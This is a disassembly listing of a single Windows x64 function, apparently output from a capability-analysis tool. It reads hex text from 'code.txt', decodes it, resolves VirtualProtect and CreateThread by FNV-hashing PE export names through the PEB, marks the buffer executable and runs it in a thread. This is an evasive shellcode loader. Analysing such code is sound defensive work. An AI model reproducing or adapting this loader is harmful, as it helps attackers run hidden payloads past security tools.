Function at 0x140001000
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Read file on windows
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rbp
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x30
and qword [rax + 0x10], 0
lea r8, [0x1400187e0]
lea rdx, str.code.txt
lea rcx, [rax + 0x10]
call fcn.1400036d8
test eax, eax
jne 0x1400013f1
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400013f1
xor edx, edx
lea r8d, [rax + 2]
call fcn.140003614
mov rcx, qword [rsp + 0x68]
call fcn.14000325c
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
movsxd r13, eax
call fcn.140003614
lea rcx, [r13 + 1]
call fcn.140003a9c
mov rbx, rax
test rax, rax
jne 0x14000109c
lea rcx, str.Memory_allocation_failed
call fcn.14000334c
mov rcx, qword [rsp + 0x68]
call fcn.1400032e8
jmp 0x1400013fd
mov r9, qword [rsp + 0x68]
mov ebp, 1
mov edx, ebp
mov r8, r13
mov rcx, rbx
call fcn.1400039d4
mov rcx, qword [rsp + 0x68]
call fcn.1400032e8
mov byte [rbx + r13], 0
shr r13, 1
mov rcx, r13
call fcn.140003a9c
mov r15, rax
test rax, rax
jne 0x1400010ee
lea rcx, str.Memory_allocation_failed
call fcn.14000334c
mov rcx, rbx
call fcn.140003730
jmp 0x1400013fd
xor r8d, r8d
test r13, r13
je 0x140001165
mov r10b, 0x30
mov r9b, 5
mov dl, byte [rbx + r8*2]
mov al, dl
sub al, r10b
cmp al, 9
jbe 0x140001125
lea eax, [rdx - 0x61]
cmp al, r9b
ja 0x140001116
sub dl, 0x57
jmp 0x140001125
lea eax, [rdx - 0x41]
cmp al, r9b
ja 0x140001123
sub dl, 0x37
jmp 0x140001125
mov dl, 0xff
mov cl, byte [rbx + r8*2 + 1]
mov al, cl
sub al, r10b
cmp al, 9
ja 0x140001138
sub cl, r10b
jmp 0x140001154
lea eax, [rcx - 0x61]
cmp al, r9b
ja 0x140001145
sub cl, 0x57
jmp 0x140001154
lea eax, [rcx - 0x41]
cmp al, r9b
ja 0x140001152
sub cl, 0x37
jmp 0x140001154
mov cl, 0xff
shl dl, 4
or dl, cl
mov byte [r8 + r15], dl
add r8, rbp
cmp r8, r13
jb 0x1400010fc
mov rcx, rbx
call fcn.140003730
mov rax, qword gs:[0x60]
or r14d, 0xffffffff
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov rdx, rbx
mov r8, qword [rdx + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x1400011f2
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x1400011f2
mov esi, dword [r9 + 0x20]
add r10d, r14d
mov r11d, 0xd590e2f3
lea rax, [rsi + r10*4]
mov ecx, dword [rax + r8]
add rcx, r8
mov al, byte [rcx]
add rcx, rbp
test al, al
je 0x1400011ed
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rcx]
add rcx, rbp
test al, al
jne 0x1400011ca
cmp r11d, 0x7bc3289d
je 0x14000135b
test r10d, r10d
jne 0x1400011ad
mov rax, qword [rdx]
mov rdx, rax
cmp rax, rbx
je 0x140001204
cmp qword [rax + 0x30], 0
jne 0x140001188
xor ebp, ebp
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov rdx, rbx
mov r8, qword [rdx + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x140001287
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x140001287
mov esi, dword [r9 + 0x20]
add r10d, r14d
mov r11d, 0x6489754b
lea rax, [rsi + r10*4]
mov ecx, dword [rax + r8]
add rcx, r8
mov al, byte [rcx]
inc rcx
test al, al
je 0x140001282
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rcx]
inc rcx
test al, al
jne 0x14000125f
cmp r11d, 0xbbb300d3
je 0x140001379
test r10d, r10d
jne 0x140001242
mov rax, qword [rdx]
mov rdx, rax
cmp rax, rbx
je 0x140001299
cmp qword [rax + 0x30], 0
jne 0x14000121d
xor edi, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov rdx, rbx
mov r8, qword [rdx + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x14000131c
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x14000131c
mov r14d, dword [r9 + 0x20]
dec r10d
mov r11d, 0x678bb89b
lea rax, [r14 + r10*4]
mov ecx, dword [rax + r8]
add rcx, r8
mov al, byte [rcx]
inc rcx
test al, al
je 0x140001317
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rcx]
inc rcx
test al, al
jne 0x1400012f4
cmp r11d, 0xa67c1b8a
je 0x140001397
test r10d, r10d
jne 0x1400012d7
mov rax, qword [rdx]
mov rdx, rax
cmp rax, rbx
je 0x14000132e
cmp qword [rax + 0x30], 0
jne 0x1400012b2
xor ebx, ebx
lea r9, [rsp + 0x60]
mov r8d, 0x40
mov rdx, r13
mov rcx, r15
call rbp
test eax, eax
jne 0x1400013b5
lea rcx, str.VirtualProtect_failed
call fcn.14000334c
mov rcx, r15
jmp 0x1400010e4
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov ebp, dword [rcx + rdx*4]
add rbp, r8
jmp 0x140001206
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov edi, dword [rcx + rdx*4]
add rdi, r8
jmp 0x14000129b
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov ebx, dword [rcx + rdx*4]
add rbx, r8
jmp 0x140001330
and qword [rsp + 0x28], 0
xor r9d, r9d
and dword [rsp + 0x20], 0
mov r8, r15
xor edx, edx
xor ecx, ecx
call rdi
test rax, rax
jne 0x1400013dd
lea rcx, str.CreateThread_failed
jmp 0x14000134e
or edx, 0xffffffff
mov rcx, rax
call rbx
mov rcx, r15
call fcn.140003730
xor eax, eax
jmp 0x140001400
lea rcx, str.Error_opening_file
call fcn.14000334c
or eax, 0xffffffff
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop rdi
pop rsi
ret